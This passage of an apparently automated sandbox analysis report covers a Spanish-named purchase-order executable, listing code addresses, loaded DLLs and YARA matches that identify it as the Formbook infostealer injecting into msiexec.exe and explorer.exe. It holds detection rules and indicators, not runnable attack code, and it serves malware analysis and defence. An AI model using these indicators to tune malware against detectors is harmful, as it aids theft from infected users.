                Source: C:\Windows\explorer.exeCode function: 7_2_0E5C02327_2_0E5C0232
                Source: C:\Windows\explorer.exeCode function: 7_2_0E5BAB327_2_0E5BAB32
                Source: C:\Windows\explorer.exeCode function: 7_2_0E5BAB307_2_0E5BAB30
                Source: C:\Windows\explorer.exeCode function: 7_2_0E5BF0367_2_0E5BF036
                Source: C:\Windows\explorer.exeCode function: 7_2_0E5B60827_2_0E5B6082
                Source: C:\Windows\explorer.exeCode function: 7_2_0E5BD9127_2_0E5BD912
                Source: C:\Windows\explorer.exeCode function: 7_2_0E5B7D027_2_0E5B7D02
                Source: C:\Windows\explorer.exeCode function: 7_2_0E5C35CD7_2_0E5C35CD
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D7E4F68_2_04D7E4F6
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D824468_2_04D82446
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D744208_2_04D74420
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D905918_2_04D90591
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD05358_2_04CD0535
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CEC6E08_2_04CEC6E0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CCC7C08_2_04CCC7C0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CF47508_2_04CF4750
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD07708_2_04CD0770
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D620008_2_04D62000
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D881CC8_2_04D881CC
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D901AA8_2_04D901AA
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D841A28_2_04D841A2
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D581588_2_04D58158
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CC01008_2_04CC0100
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D6A1188_2_04D6A118
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D502C08_2_04D502C0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D702748_2_04D70274
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CDE3F08_2_04CDE3F0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D903E68_2_04D903E6
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8A3528_2_04D8A352
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CC0CF28_2_04CC0CF2
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D70CB58_2_04D70CB5
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD0C008_2_04CD0C00
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CCADE08_2_04CCADE0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CE8DBF8_2_04CE8DBF
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D6CD1F8_2_04D6CD1F
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CDAD008_2_04CDAD00
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8EEDB8_2_04D8EEDB
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8CE938_2_04D8CE93
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CE2E908_2_04CE2E90
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD0E598_2_04CD0E59
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8EE268_2_04D8EE26
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CC2FC88_2_04CC2FC8
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CDCFE08_2_04CDCFE0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D4EFA08_2_04D4EFA0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D44F408_2_04D44F40
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D72F308_2_04D72F30
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D12F288_2_04D12F28
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CF0F308_2_04CF0F30
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CFE8F08_2_04CFE8F0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CB68B88_2_04CB68B8
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD28408_2_04CD2840
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CDA8408_2_04CDA840
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD29A08_2_04CD29A0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D9A9A68_2_04D9A9A6
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CE69628_2_04CE6962
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CCEA808_2_04CCEA80
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D86BD78_2_04D86BD7
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8AB408_2_04D8AB40
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CC14608_2_04CC1460
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8F43F8_2_04D8F43F
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D6D5B08_2_04D6D5B0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D875718_2_04D87571
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D816CC8_2_04D816CC
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8F7B08_2_04D8F7B0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD70C08_2_04CD70C0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D7F0CC8_2_04D7F0CC
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D870E98_2_04D870E9
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8F0E08_2_04D8F0E0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CDB1B08_2_04CDB1B0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D9B16B8_2_04D9B16B
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CBF1728_2_04CBF172
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D0516C8_2_04D0516C
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CEB2C08_2_04CEB2C0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D712ED8_2_04D712ED
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD52A08_2_04CD52A0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D1739A8_2_04D1739A
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CBD34C8_2_04CBD34C
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8132D8_2_04D8132D
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8FCF28_2_04D8FCF2
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D49C328_2_04D49C32
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CEFDC08_2_04CEFDC0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D81D5A8_2_04D81D5A
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD3D408_2_04CD3D40
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D87D738_2_04D87D73
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD9EB08_2_04CD9EB0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD1F928_2_04CD1F92
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8FFB18_2_04D8FFB1
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8FF098_2_04D8FF09
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD38E08_2_04CD38E0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D3D8008_2_04D3D800
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CD99508_2_04CD9950
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CEB9508_2_04CEB950
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D659108_2_04D65910
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D7DAC68_2_04D7DAC6
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D15AA08_2_04D15AA0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D71AA38_2_04D71AA3
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D6DAAC8_2_04D6DAAC
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8FA498_2_04D8FA49
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D87A468_2_04D87A46
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D43A6C8_2_04D43A6C
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D45BF08_2_04D45BF0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D0DBF98_2_04D0DBF9
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04CEFB808_2_04CEFB80
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_04D8FB768_2_04D8FB76
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_00BAE84B8_2_00BAE84B
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_00BAEB6E8_2_00BAEB6E
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_00B92D908_2_00B92D90
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_00B92D878_2_00B92D87
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_00B92FB08_2_00B92FB0
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_00B99E508_2_00B99E50
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 8_2_00B99E4C8_2_00B99E4C
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: String function: 016EF290 appears 105 times
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: String function: 016B7E54 appears 102 times
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: String function: 016DEA12 appears 86 times
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: String function: 016A5130 appears 58 times
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: String function: 0165B970 appears 277 times
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: String function: 04CBB970 appears 277 times
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: String function: 04D17E54 appears 102 times
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: String function: 04D4F290 appears 105 times
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: String function: 04D3EA12 appears 86 times
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: String function: 04D05130 appears 58 times
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000002.1393720421.0000000000C7E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs Solicitud de pedido Documento No 168646080.exe
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000002.1401360889.0000000006F2E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename vs Solicitud de pedido Documento No 168646080.exe
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000002.1402972690.000000000DFB0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs Solicitud de pedido Documento No 168646080.exe
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000000.1318677618.00000000003F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameqEnw.exe( vs Solicitud de pedido Documento No 168646080.exe
                Source: Solicitud de pedido Documento No 168646080.exe, 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs Solicitud de pedido Documento No 168646080.exe
                Source: Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450866073.000000000175D000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Solicitud de pedido Documento No 168646080.exe
                Source: Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450776254.000000000159F000.00000040.10000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenamemsiexec.exeX vs Solicitud de pedido Documento No 168646080.exe
                Source: Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450474495.00000000011D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemsiexec.exeX vs Solicitud de pedido Documento No 168646080.exe
                Source: Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450474495.0000000001202000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemsiexec.exeX vs Solicitud de pedido Documento No 168646080.exe
                Source: Solicitud de pedido Documento No 168646080.exeBinary or memory string: OriginalFilenameqEnw.exe( vs Solicitud de pedido Documento No 168646080.exe
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: dwrite.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: textshaping.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: windowscodecs.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: edputil.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: appresolver.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: bcp47langs.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: slc.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\explorer.exeSection loaded: windows.cloudstore.schema.shell.dllJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wininet.dllJump to behavior
                Source: Solicitud de pedido Documento No 168646080.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
                Source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
                Source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
                Source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
                Source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
                Source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
                Source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
                Source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
                Source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
                Source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
                Source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
                Source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
                Source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
                Source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
                Source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
                Source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
